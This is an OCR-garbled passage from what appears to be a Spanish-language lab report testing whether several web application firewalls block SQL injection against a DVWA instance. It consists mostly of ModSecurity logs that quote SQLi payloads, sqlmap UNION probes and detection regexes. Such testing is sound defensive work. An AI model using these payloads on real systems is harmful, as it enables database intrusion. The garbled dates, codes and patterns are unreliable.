ag “platform-multi"] [tag "attack-sqli®] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP CRS/WEB ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP TOP 18
/AL"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname “*] [uri "/dvwa/vulnerabilities/sqli/"] [unique_id "SGAcAcAcxcmqYcAcqeACAcAC”]

2019/12/11 23:32:58 [error] 115440: [client 192.168.1.110] ModSecurity: Audit log: Failed to lock global mutex: Permission denied [hostname ""] [uri "/dvwa/vulnerabilit
ies/sgli/"] [unique_id "SGAcAcAcxcmgYcAcqeACAcAc”]

2919/12/11 23:32:58 [error] 1154#0: [client 192.168.1.118] ModSecurity: Audit log: Failed to unlock global mutex: Permission denied [hostname “"] [uri “/dvwa/vulnerabil
ities/sqli/"] [unigue_id "SGAcAcAcxcmgYcAcqeACAcAC”]

2019/12/11 23:32:58 [error] 1154#0: [client 192.168.1.110] ModSecurity: Access
denied with code 403 (phase 2). detected SQLi using libinjection with fingerprint
's&s' [file "/usr/local/nginx/conf/owasp-modsecurity-crs/rules/REQUEST-942-
APPLICATION-ATTACK-SQLI.conf"] [line "70"] [id "942100"] [msg "SQL Injection
Attack Detected via libinjection"] [data "Matched Data: s&s found within ARGS:id:
" or '1=1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-
multi*] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag
"paranoia-level/1"] [tag "OWASP_CRS"] [tag
"OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"]
[tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI1/6.5.2"]
[hostname "™ [uri "/dvwal/vulnerabilities/sqli/"] [unique_id
"SGACAcAcxemqYcAcqcACACAC']

Atague 5.2: Inyeccion SOL Manual

» WAF ModSecurity Apache

Los resultados obtenidos de este ataque al WAF, son los siguientes: Deteccion
y bloqueo.

Observando los logs del ataque en la consola del terminal, se puede obtener lo
siguiente:

[Sat Dec @7 14:04:28.756751 2019] [:error] [pid 1698] [client 192.168.1.148:9026] [client 192.168.1.148] ModSecurity: Access denied with code 483 (phase 2). Pattern mat
ch (23 (LW AL W ixe2 Vb1 \xe2 )\ \xBBY x99\ \xe 2\ e8BY BV WA (VL) TF2) VAL (AN Ve ) ([VAMS "V W oee2\ b4\ \xe2 \ 1B\ x99\ ke \ \xBBA LBV YW (VWA ) T#2) (22 (2=
| ¢=>| F?Like| sounds\\\\s+Like| regexp) ([\\\\s |\ " \\xc2} \xbd\\xe2\ \x881 \ x99} \xe2\ BB\ ka8 \\\ (\\W) TF2) \ W2\ (22 1= e=[ 5= €] €] > \\\\A | 1s\\\\s#not ..." at ARGS:id. [
file "/etc/httpd/modsecurity.d/activated_rules/modsecurity crs_41 sql_injection_attacks.conf"] [line "77"] [id "950901"] [rev "2"] [msg "SOL Injection Attack: SQL Tauto
logy Detected."] [data "Matched Data: 1=1 found within ARGS:id: 1' or 1=1 union select null, table_name from information_schema.tables#"] [severity "CRITICAL"] [ver "0
WASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION®] [tag "WASCTC/WASC-19"] [tag "OWASP TOP 10/A1"] [tag "OWASP AppSensor/CIEL"] [t
ag "PCI/6.5.2"] [hostname "proxy-waf.com.ec"] [uri “/dvwa/vulnerabilities/sqli/"] [unique_id "Xev3vAFqhWpXHkiCCRplaQAMAAA"], referer: http://proxy-waf.com.ec/dvwa/vulne

rabilities/sgli/



[Sat Dec 07 14:04:28.756751 2019] [:error] [pid 1698] [client 192.168.1.148:9026]
[client 192.168.1.148] ModSecurity: Access denied with code 403 (phase 2).
Pattern match
"(2i: (WS \Wxe2\\xb4\\xe 2\\x80\\x99\\xe 2\\x80\\x98\W(\W) [*?) Wb (W d\Ww] ++) ([
s\ \\xc2\\xb4\\xe2\\x80\\x99\\xe 2\\x80\\x98\\\(\\\)|*?) (?:(?:=|<=>|r?like|sound
s\Ws+like|regexp)([\Ws"\\" \\xc2\\xb4\\xe 2\\x80\\x99\\xe 2\\x80\\x 98\\\\(\\\) [*?)\\\2\
\\b|(?:1=|<=]>=|<>|<[>[\\W}|is\Ws+not at ARGS:id. [file
"letc/httpd/modsecurity.d/activated_rules/modsecurity_crs_41 sqgl_injection_att
acks.conf"] [line "77"] [id "950901"] [rev "2"] [msg "SQL Injection Attack: SQL
Tautology Detected."] [data "Matched Data: 1=1 found within ARGS:id: 1' or 1=1
union select null, table_name from information_schema.tables#"] [severity
"CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "8"] [tag
"OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"]
[tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCl1/6.5.2"]
[hostname "proxy-waf.com.ec"] [uri "/dvwa/vulnerabilities/sqli/"] [unique_id
"Xev3VAFghWpXHKICCRplaQAAAAA™, referer: http://proxy-
waf.com.ec/dvwa/vulnerabilities/sqli/

> WAF Vulture

Los resultados obtenidos de este ataque al WAF, son los siguientes: Deteccion
y bloqueo.

Observando los logs del ataque en la consola del terminal, se puede obtener lo
siguiente:

[Tue Dec 16 23:48:53.0008785 2619] [:error] [pid 739:tid 34385533446] [client 192.168.1.110:17922] [client 192.168.1.118] ModSecurity: Access denied with code 483 (phase
2). Operator GE matched 18 at TX:inbound anomaly score. [file "macro 'policy 5dddce7cb1149611d76cd31a_score' (defined on line 328 of "/home/vlt-sys/Engine/conf/192.168
.1.49-80.conf") used on line 716 of “/home/vlt-sys/Engine/conf/192.168.1.48-86.conf""] [line "14"] [id "91"] [msg “Inbound anomaly score 67 exceeded threshold 18"] [hos
tname "proxy-waf.com.ec”] [uri "/dvwa/vulnerabilities/sqli/"] [unique id "XFAtBK1VA7hQySiGMRgltQAAAFI"], referer: http://proxy-waf.com.ec/dvwa/vulnerabilities/sqli/
[Tue Dec 16 23:40:53.001352 2019] [:error] [pid 739:tid 34385533446] [client 192.168.1.116:17922] [client 192.168.1.118] ModSecurity: Warning. Operator GE matched 18 at
TX:inbound_anomaly score. [file “/home/v1t-sys/Engine/conf/modsec/5dd6e95bb11496827604b5a5. rules”] [line “73"] [id "986136"] [msg "Inbound Anomaly Score Exceeded (Tota
1 Inbound Score: 67 - SQLI=58,XSS=,RFI=,LFI= RCE=,PHPI=, HTTP=,SESS=): "] [tag "event-correlation"] [hostname “proxy-waf.com.ec"] [uri "/dvwa/vulnerabilities/sqli/"] [un
ique_id "XFAtBKIVA7hQySi6MRgItQAAAFI"], referer: http://proxy-waf.com.ec/dvwa/vulnerabilities/sqli/

[Tue Dec 16 23:40:53.801534 2019] [:error] [pid 739:tid 34385533440] [client 192.168.1.110:17922] [client 192.168.1.118] ModSecurity: Warning. Operator GE matched 18 at
TX:inbound_anomaly_score. [file "/home/v1t-sys/Engine/conf/modsec/5dd6e95bb11496027604b5a5. rules”] [1ine "73"] [id "986136"] [msg "Inbound Ancmaly Score Exceeded (Tota
1 Inbound Score: 67 - SQLI=58,XSS=,RFI=,LFI=,RCE=,PHPI=,HTTP=,5ES5=): "] [tag “event-correlation”] [hostname “proxy-waf.com.ec”] [uri “/dvwa/vulnerabilities/sqli/"] [un
ique id "XFAtBKIVAZhQySi6MRgLtQAAAFI"], referer: http://proxy-waf.com.ec/dvwa/vulnerabilities/sqli/

[Tue Dec 10 23:40:53.000705 2019] [:error] [pid 739:tid 34385533440] [client
192.168.1.110:17922] [client 192.168.1.110] ModSecurity: Access denied with
code 403 (phase 2). Operator GE matched 18 at TX:inbound_anomaly_score.
[file "macro 'policy_5dd4ce7cb1149611d76cd31la_score' (defined on line 328 of
"lhomel/vit-sys/Engine/conf/192.168.1.40-80.conf") used on line 710 of
"home/vlit-sys/Engine/conf/192.168.1.40-80.conf™] [line "14"] [id "91"] [msg
“Inbound anomaly score 67 exceeded threshold 18"] [hosthame "proxy-
waf.com.ec"] [uri "/dvwa/vulnerabilities/sqli/"] [unique_id
"XfAtBK1V47hQy5i6 MRgItQAAAFI"], referer: http://proxy-
waf.com.ec/dvwa/vulnerabilities/sqli/

> WAF Waf2Py

Los resultados obtenidos de este ataque al WAF, son los siguientes: Deteccion
y bloqueo.



Observando los logs del ataque en la consola del terminal, se puede obtener lo
siguiente:

# Logs

1 2019/12/11 21:55:39 [error] 366520: "61 [client 192.168.1.110] ModSecurity: Access denied with code 403 (phase
2). [file "/opt/waf/nginx/etc/modsec_rules/proxy-waf.com.ec/enabled_rules/REQUEST-942-APPLICATION-
ATTACK-SQLLconf"] [line "45"] [id "942100"] [rev ""] [msg ""] [data ""] [severity "0"] [ver "OWASP_CRS/3.2.0"]

1

[maturity "0"] [accuracy "0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-
sqli"] [tag "paranoia-level/1”] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag
"WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname
"192.168.1.110"] [uri "/dvwa/vulnerabilities/sqli/"] [unique_id "157611933910.206722"] [ref ""], client:
192.168.1.110, server: proxy-waf.com.ec, request: "GET /dvwa/vulnerabilities
/sqli/?id=1%27+or+1%3D1+union+select+null®%2C+table_name+from+information_schema.tables%6238
Submit=Submit HTTP/1.1", host: "proxy-waf.com.ec”, referrer: "http://proxy-waf.com.ec/dvwa/vulnerabilities
/sqli/™

2019/12/11 21:55:39 [error] 3665#0: *61 [client 192.168.1.110] ModSecurity:
Access denied with code 403 (phase 2). [file
"lopt/waf/nginx/etc/modsec_rules/proxy-waf.com.ec/enabled_rules/REQUEST-

942-APPLICATION-ATTACK-SQLI.conf"] [line "45"] [id "942100"] [rev "] [msg "]
[data "] [severity "0"] [ver "OWASP_CRS/3.2.0"] [maturity "0"] [accuracy "0"] [tag
"application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"]
[tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag
"OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"]
[tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI1/6.5.2"]
[hostname "192.168.1.110" [uri "/dvwa/vulnerabilities/sqli/"] [unique_id
"157611933910.206722"] [ref ™], client: 192.168.1.110, server: proxy-
waf.com.ec, request: "GET
/dvwa/vulnerabilities/sqli/?id=1%27+or+1%3D1+union+select+null%2C+table_n
ame-+from+information_schema.tables%23&Submit=Submit HTTP/1.1", host:
"proxy-waf.com.ec", referrer: "http://proxy-waf.com.ec/dvwa/vulnerabilities/sqli/"

» WAF Nginx

Los resultados obtenidos de este ataque al WAF, son los siguientes: Deteccion
y bloqueo.

Observando los logs del ataque en la consola del terminal, se puede obtener lo
siguiente:

2019/12/11 23:34:56 [error] 1154#8: [client 192.168.1.110] ModSecurity: Access denied with code 483 (phase 2). detected SQLi using libinjection with fingerprint 's&1UE*
[file “/usr/local/nginx/conf/owasp-modsecurity-crs/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line “70"] [id "942108"] [msg "SQL Injection Attack Detected via 1
ibinjection"] [data “Matched Data: s&IUE found within ARGS:id: 1' or 1=1 union select null, table name from information_schema.tables#"] [severity "CRITICAL"] [ver "OWA
SP_CRS/3.2.0"] [tag “application-multi”] [tag "language-multi®] [tag "platform-multi”] [tag “attack-sqli"] [tag “paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WE
B_ATTACK/SQL_INJECTION"] [tag “WASCTC/WASC-19"] [tag "OWASP_TOP 18/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "*] [uri "/dvwa/vulnerabilities/sqli/"]
[unique id "lcAcATecucbcAc2cGeEcASA2"]

2019/12/11 23:34:56 [error] 1154#0: [client 192.168.1.110] ModSecurity: Audit log: Failed to lock global mutex: Permission denied [hostname ""] [uri "/dvwa/vulnerabilit
ies/sqli/"] [unique id "lcAcATecucbeAc2cGeEcA9A2" ]

2019/12/11 23:34:56 [error] 115448: [client 192.168.1.116] ModSecurity: Audit log: Failed to unlock global mutex: Permission denied [hostname ""] [uri "/dvwa/vulnerabil
ities/sqli/"] [unique_id "1lcAcATecucbcAc2cGeEcA9A2"]

2019/12/11 23:34:56 [error] 1154#0: [client 192.168.1.110] ModSecurity: Access
denied with code 403 (phase 2). detected SQLi using libinjection with fingerprint
's&1UE' [file "/usr/local/nginx/conf/owasp-modsecurity-crs/rules/REQUEST-942-
APPLICATION-ATTACK-SQLI.conf"] [line "70"] [id "942100"] [msg "SQL Injection



Attack Detected via libinjection”] [data "Matched Data: s&1UE found within
ARGS:id: 1" or 1=1 union select null, table hame from
information_schema.tables#"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"]
[tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-
sqli"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag
"OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"]
[tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI1/6.5.2"]
[hostname " [uri "/dvwal/vulnerabilities/sqli/"] [unique_id
"IcAcATecucbcAc2cGCECA9A2"]

Ataque 5.3: Inyeccion SOL Automatizado

» WAF ModSecurity Apache

Los resultados obtenidos de este ataque al WAF, son los siguientes: Deteccion
y bloqueo.

Observando los logs del ataque en la consola del terminal, se puede obtener lo
siguiente:

> WAF Vulture

Los resultados obtenidos de este ataque al WAF, son los siguientes: Deteccion
y bloqueo.

Se puede observar que el ataque automatizado por la herramienta Sglmap es
bloqueado y que el aplicativo web ya no es inyectable o vulnerable.

[14:29:42] [WARNING] GET parameter 'Submit' does not seem to be injectable
: [CRITICAL] all te ara do not appear to be injectable.

[*] shutting down at 14:29:42

Observando los logs del ataque en la consola del terminal, se puede obtener lo
siguiente:

[Sat Dec 67 14:29:58.606468 2619] [:error] [pid 1762] [client 192.168.1.10:43532] [client 192.168.1.18] ModSecurity: Access denied with code 483 (phase 2). Matched phra
se "sqlmap” at REQUEST HEADERS:User-Agent. [file “/etc/httpd/modsecurity.d/activated rules/modsecurity crs 35 bad robots.conf"] [line "20"] [id "99802"] [rev "2"] [msg
"Request Indicates a Security Scanner Scanned the Site"] [data "sglmap/1.1.12¢stable (http://sqlmap.org)"] [severity "CRITICAL"] [ver "OWASP CRS/2.2.9"] [maturity "9"]
[accuracy "8"] [tag "OWASP CRS/AUTONATION/SECURTTY SCANNER"] [tag "WASCTC/WASC-21"] [tag "CWASP TOP 18/A7"] [tag "PCI/6.5.18"] [hostname proxy-waf.com.ec’] [uri */dwi

afvulnerabilities/sqli/"] [unique id "XevdtjLD4-5gDATohYL2XAAAMAN"]



[Sat Dec 07 14:29:58.606468 2019] [:error] [pid 1702] [client 192.168.1.10:43532]
[client 192.168.1.10] ModSecurity: Access denied with code 403 (phase 2).
Matched phrase "sglmap" at REQUEST_HEADERS:User-Agent. [file
"letc/httpd/modsecurity.d/activated_rules/modsecurity_crs_35_ bad_robots.conf"
] [line "20"] [id "990002"] [rev "2"] [msg "Request Indicates a Security Scanner
Scanned the Site"] [data "sqlmap/1.1.12#stable (http://sqimap.org)"] [severity
"CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag
"OWASP_CRS/AUTOMATION/SECURITY_SCANNER"] [tag
"WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname
"proxy-waf.com.ec”] [uri "/dvwa/vulnerabilities/sqli/"] [unique_id "Xev9tjLD4-
5gDAIohYL2XAAAAAM']

> WAF Waf2Py

Los resultados obtenidos de este ataque al WAF, son los siguientes: Deteccion
y bloqueo.

Se puede observar que el ataque automatizado por la herramienta Sglmap es
bloqueado y que el aplicativo web ya no es inyectable o vulnerable.

d try to use option

[*] shutting down at 23:51:02

Observando los logs del ataque en la consola del terminal, se puede obtener lo
siguiente:

3
[Tue Dec 1@ 23:51:03.959868 2019] [:error] [pid 739:tid 34385521920] [client 192.168.1.10:43724] [client 192.168.1.10] ModSecurity: Access denied with code 483 (phase 2
). Operator GE matched 18 at TX:inbound_anomaly score. [file "macro ‘policy 5dd4ce7cbl149611d76cd31a_score’ (defined on line 328 of “/home/vlt-sys/Enginefconf/192.168.1
.48-80.conf") used on line 710 of "/home/v1t-sys/Engine/conf/192.168.1.48-80.conf""] [line "14"] [id "91"] [msg "Inbound anomaly score 62 exceeded threshold 18] [hostn
ame “"proxy-waf.com.ec”] [uri "/dvwa/vulnerabilities/sqli/"] [unique id “"XfAvZ61VAZhQy5i6MRgm7AAAAEK"]

[Tue Dec 10 23:51:03.960207 2019] [:error] [pid 739:tid 34385521920] [client 192.168.1.10:43724] [client 192.168.1.10] ModSecurity: Warning. Operator GE matched 18 at T
X:inbound anomaly score. [file “/home/vlt-sys/Engine/conf/modsec/5dd6e95bb11496027004b5a5.rules”] [line "73"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total
Inbound Score: 62 - SQLI=26,XS5=,RFI=,LFI=,RCE=,PHPT=,HTTP=,5ES5=): "] [tag “event-correlation”] [hostname "proxy-waf.com.ec”] [uri "/dwwa/vulnerabilities/sqli/"] [unig
ue_id "XFAVZBIVAThQySi6MRgm7AAAAEK" |

[Tue Dec 18 23:51:03.960416 2019] [:error] [pid 739:tid 34385521920] [client 192.168.1.10:43724] [client 192.168.1.16] ModSecurity: Warning. Operator GE matched 18 at T
X:inbound anomaly score. [file “/home/vlt=-sys/Engine/conf/modsec/5dd6e95bb11496027004b5a5.rules”] [line "73"] [id "980138"] [msg "Inbound Anomaly Score Exceeded (Total
Inbound Score: 62 - SQLI=26,XSS5=,RFI=,LFI=,RCE=,PHPI=,HTTP=,5ES5=): "] [tag “event-correlation”] [hostname "proxy-waf.com.ec”] [uri "/dwwa/vulnerabilities/sqli/"] [unig
ue_id "XFAVZE1VAThQySi6MRgm7AAAAEK" |

[Tue Dec 18 23:51:03.968724 2019] [:error] [pid 739:tid 34385521920] [client 192.168.1.10:43724] [client 192.168.1.16] ModSecurity: msc_perform_redis_guery: Error while
executing command: ERR value is not an integer or out of range [hostname “proxy-waf.com.ec”] [uri "/dvwa/vulnerabilities/sqli/"] [unique_id "XFAvZ61VA7hQy5i6MRgm7AAAAE
k']

[Tue Dec 10 23:51:03.960857 2019] [:error] [pid 739:tid 34385521920] [client 192.168.1.10:43724] [client 192.168.1.10] ModSecurity: msc_perform redis_query: Error while
executing command: ERR value is not an integer or out of range [hostname "proxy-waf.com.ec”] [uri "/dvwa/vulnerabilities/sqli/"] [unique_id "XFAvZ61VA7hQy51i6MREm7AAAAE
k']

[Tue Dec 10 23:51:03.960988 2019] [:error] [pid 739:tid 34385521920] [client 192.168.1.10:43724] [client 192.168.1.10] ModSecurity: msc_perform redis_gquery: Error while
executing command: ERR value is not an integer or out of range [hostname "proxy-waf.com.ec”] [uri "/dvwa/vulnerabilities/sqli/"] [unique_id "XFAvZ61VA7hQy5i6MRgm7AAAAE
k']

[Tue Dec 10 23:51:03.959868 2019] [:error] [pid 739:tid 34385521920] [client
192.168.1.10:43724] [client 192.168.1.10] ModSecurity: Access denied with code
403 (phase 2). Operator GE matched 18 at TX:inbound_anomaly_score. [file



"macro 'policy_5dd4ce7cb1149611d76cd3la_score' (defined on line 328 of
"lhomel/vit-sys/Engine/conf/192.168.1.40-80.conf”) used on line 710 of
"lhomel/vlt-sys/Engine/conf/192.168.1.40-80.conf™] [line "14"] [id "91"] [msg
"Inbound anomaly score 62 exceeded threshold 18"] [hosthame "proxy-

waf.com.ec"] [uri "/dvwal/vulnerabilities/sqli/"] [unique_id
"XfAVZ61V47hQy5i6MRgm7AAAAEK"]
» WAF Nginx

Los resultados obtenidos de este ataque al WAF, son los siguientes: Deteccion
y bloqueo.

Se puede observar que el ataque automatizado por la herramienta Sglmap es
bloqueado y que el aplicativo web ya no es inyectable o vulnerable.

[*] shutting down at 22:09:28

Observando los logs del ataque en la consola del terminal, se puede obtener lo
siguiente:

1 2019/12/11 22:09:37 [error] 3665#0: 392 [client 192.168.1.10] ModSecurity: Access denied with code 403 (phase
2). Matched "Operator " PmFromFile’ with parameter " scanners-user-agents.data’ against variable
"REQUEST_HEADERS:User-Agent’ (Value: “sqlmap/1.1.12#stable (http://sqlmap.org)' ) [file "/opt/waf/nginx
fetc/modsec_rules/proxy-waf.com.ec/enabled_rules/REQUEST-913-SCANNER-DETECTION.conf"] [line "33"] [id
"913100"] [rev ""] [msg "Found User-Agent associated with security scanner"] [data "Matched Data: sqlmap
found within REQUEST_HEADERS:User-Agent: sqimap/1.1.12#stable (http://sqlmap.org)”] [severity "2"] [ver
"OWASP_CRS/3.2.0"] [maturity "0"] [accuracy "07] [tag "application-muliti”] [tag "language-muiti"] {tag
"platform-multi"] [tag "attack-reputation-scanner™] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag
"OWASP_CRS/AUTOMATION/SECURITY_SCANNER"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag
"PC1/6.5.10"] [hostname "192.168.1.10"] [uri "/dvwa/vulnerabilities/sqli/"] [unique_id "157612017787.231986"]
[ref "00,6v234,40t:lowercase”], client: 192.168.1.10, server: proxy-waf.com.ec, request: "GET
fdvwa/vulnerabilities/sqli/7id=1&
Submit=Submit2%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL22CNULL%2CNULL%2CNULL%2...
HTTP/1.1", host: "proxy-waf.com.ec"

2019/12/11 22:09:37 [error] 3665#0: *392 [client 192.168.1.10] ModSecurity:
Access denied with code 403 (phase 2). Matched "Operator "PmFromFile’ with

parameter ‘scanners-user-agents.data’ against variable
"REQUEST_HEADERS:User-Agent' (Value: ‘sqimap/1.1.12#stable
(http://sglmap.org)’ ) [file "lopt/waf/nginx/etc/modsec_rules/proxy-

waf.com.ec/enabled_rules/REQUEST-913-SCANNER-DETECTION.conf"] [line



"33"] [id "913100"] [rev "™] [msg "Found User-Agent associated with security
scanner"] [data "Matched Data: sqglmap found within
REQUEST_HEADERS:User-Agent: sqlmap/1.1.12#stable (http://sgimap.org)"]
[severity "2"] [ver "OWASP_CRS/3.2.0"] [maturity "0"] [accuracy "0"] [tag
"application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-
reputation-scanner”] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag
"OWASP_CRS/AUTOMATION/SECURITY_SCANNER"] [tag
"WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname
"192.168.1.10"] [uri "/dvwa/vulnerabilities/sqli/"] [unique_id
"157612017787.231986"] [ref "00,6v234,40t:lowercase"], client: 192.168.1.10,
server: proxy-waf.com.ec, request: "GET
/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit%20UNION%20ALL%20SELEC
T%20NULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%?2
CNULL%2CNULL%2CNULL--%20laQK HTTP/1.1", host: "proxy-waf.com.ec"

Atague 6.1: Inyeccién SOL BLIND
» WAF ModSecurity Apache

Los resultados obtenidos de este ataque al WAF, son los siguientes: Deteccion
y bloqueo.

Observando los logs del ataque en la consola del terminal, se puede obtener lo

siguiente:

[Sat Dec 67 15:45:18.633369 2015] [:error] [pid 1763] [client 192.168.1.148:9584] [client 192.168.1.148] MocSecurity: Access denied with code 463 (phase 2). Pattern mat
B7 (22 (LW "I Vee2 ) b4\ \xe2\ VB8 199 a2\ kBB W38V VA (VAN T#2) A VB C LA VAN W +4) (LY A Viee2\ b4 Va2 \xBB\ 1 x99\ \ke2 \ \xBBV I8\ (VW) T#2) (22 (22
|<=>| r?Like| sounds\\\\s+1ike| regexp) ([A\\hs 11"~ V\xc2) Lxb4h ixe2} \xBB\\ x99} xe2\ \xBBV WxSB VL (W AL) TR N2V AB | (22 1= <= =] €2 <[5 | \\\\A | ds\\\\s#not ..." at ARGS:id. [
file "/etc/httpd/modsecurity.d/activated_rules/modsecurity crs 41 sql_injection_attacks.conf”] [line "77"] [id "950901"] [rev "2"] [msg "SQL Injection Attack: SQL Tautc
logy Detected."] [data "Matched Data: ©=6 found within ARGS:id: 1 or ©=@--"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy “"8"] [tag "OWASP_CR
S/WEB_ATTACK/SOL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP 10/A1"] [tag "OWASP AppSensor/CIEL"] [tag "PCI/6.5.2"] [hostname "proxy-waf.com.ec”] [uri "/dwwa/vul
nerabilities/sqli/"] [unique_id "XewPX1send9XpDOcQvTqBAMMAAQ"], referer: http://proxy-waf.com.ec/dvwa/vulnerabilities/sqli/

[Sat Dec 07 15:45:18.633369 2019] [:error] [pid 1703] [client 192.168.1.148:9584]
[client 192.168.1.148] ModSecurity: Access denied with code 403 (phase 2).
Pattern match
"(?1: (WS \Wxe2\\xb4\\xe 2\\x80\\x99\\xe 2\\x80\\x 98\ (\WW) [*?2)WWb (WA \\W\w ] ++) ([
\Ws"\\""\xc2\\xb4\\xe 2\\x80\\x99\\xe 2\\x80\\x98\\\(\\\)]*?)(?:(?:=|<=>|r?like|sound
s\\\s+like|regexp) ([\Ws"\\" \\xc2\\xb4\\xe2\\x80\\x99\\xe 2\\x80\\x 98\\W(\\\\) [*?)\\\2\
\\b|(?:!1=|<=]>=|<>|<|>[\\Wis\\\s+not at ARGS:id. [file
"letc/httpd/modsecurity.d/activated_rules/modsecurity_crs_41 sql_injection_att
acks.conf"] [line "77"] [id "950901"] [rev "2"] [msg "SQL Injection Attack: SQL
Tautology Detected."] [data "Matched Data: 0=0 found within ARGS:id: 1 or 0=0-
-"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "8"]
[tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-
19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag
"PCl1/6.5.2"] [hostname "proxy-waf.com.ec"] [uri "/dvwa/vulnerabilities/sqli/"]
[unique_id  "XewPXlsend9XpDOcQVTg6AAAAAQ"], referer:  http://proxy-
waf.com.ec/dvwa/vulnerabilities/sqli/



> WAF Vulture

Los resultados obtenidos de este ataque al WAF, son los siguientes: Deteccion
y bloqueo.

Observando los logs del ataque en la consola del terminal, se puede obtener lo
siguiente:

e M e i 3 L nd s DL e M M S e P S s St

[Tue Dec 1@ 23:58:26.577578 2019] [:error] [pid 739:tid 34385519360] [client 192.168.1.110:18008] [client 192.168.1.110] ModSecurity: Access denied with code 483 (phase
2). Operator GE matched 18 at TX:inbound anomaly score. [file "macro 'policy Sdd4ce7cb1149611d76cd31a_score’ (defined on line 328 of “/home/vlt-sys/Engine/conf/192.168
.1.48-86.conf") used on line 718 of "/home/vlt-sys/Engine/conf/192.168.1.46-88.conf""] [line "14"] [id "91"] [msg "Inbound anomaly score 29 exceeded threshold 18] [hos
tname “proxy-waf.com.ec”] [uri "/dwwa/vulnerabilities/sqli_blind/"] [unique_id "XfAxIqlV47hQySicMRgm7wAAAEC"], referer: http://proxy-waf.com.ec/dvwa/vulnerabilities/sql
i blind/

[Tue Dec 1@ 23:58:26.579228 2019] [:error] [pid 739:tid 34385519360] [client 192.168.1.110:18008] [client 192.168.1.110] ModSecurity: Warning. Operator GE matched 18 at
TX:inbound_anomaly score. [file "/home/vlt-sys/Engine/conf/modsec/5dd6e95bb11496827804b5a5.rules”] [line "73"] [id "98013@"] [msg "Inbound Anomaly Score Exceeded (Tota
1 Inbound Score: 29 - SQLI=18,XSS=,RFI=,LFI=,RCE=,PHPI=,HTTP=,5ESS=): "] [tag "event-correlation”] [hostname "proxy-waf.com.ec”] [uri "/dvwa/vulnerabilities/sgli_blind/
] [unique_id "XfAxIqiV47hQy5i6MRgm7wAAAEC”], referer: http://proxy-waf.com.ec/dvwa/vulnerabilities/sqli_blind/

[Tue Dec 10 23:58:26.579648 2019] [:error] [pid 739:tid 34385519360] [client 192.168.1.110:18008] [client 192.168.1.118] ModSecurity: Warning. Operator GE matched 18 at
TX:inbound anomaly_score. [file "/home/v1t-sys/Engine/conf/modsec/5dd6e95bb11496827004b5a5.rules”] [1ine "73"] [id "980130"] [msg "Inbound Ancmaly Score Exceeded (Tota
1 Inbound Score: 29 - SQLI=18,XSS=,RFI=,LFI=,RCE=,PHPI=,HTTP=,5ESS=): "] [tag "event-correlation”] [hostname "proxy-waf.com.ec”] [uri "/dvwa/vulnerabilities/sgli blind/
"] [unique_id "XFAxIq1V47hQy5i6MRgm7wAAAEC"], referer: http://proxy-waf.com.ec/dvwa/vulnerabilities/sqli_blind/

[Tue Dec 10 23:58:26.577578 2019] [:error] [pid 739:tid 34385519360] [client
192.168.1.110:18008] [client 192.168.1.110] ModSecurity: Access denied with
code 403 (phase 2). Operator GE matched 18 at TX:inbound_anomaly_score.
[file "macro 'policy_5dd4ce7cb1149611d76cd31a_score' (defined on line 328 of
"lhomel/vit-sys/Engine/conf/192.168.1.40-80.conf") used on line 710 of
"lhomel/vlt-sys/Engine/conf/192.168.1.40-80.conf™] [line "14"] [id "91"] [msg
“Inbound anomaly score 29 exceeded threshold 18"] [hostname "proxy-
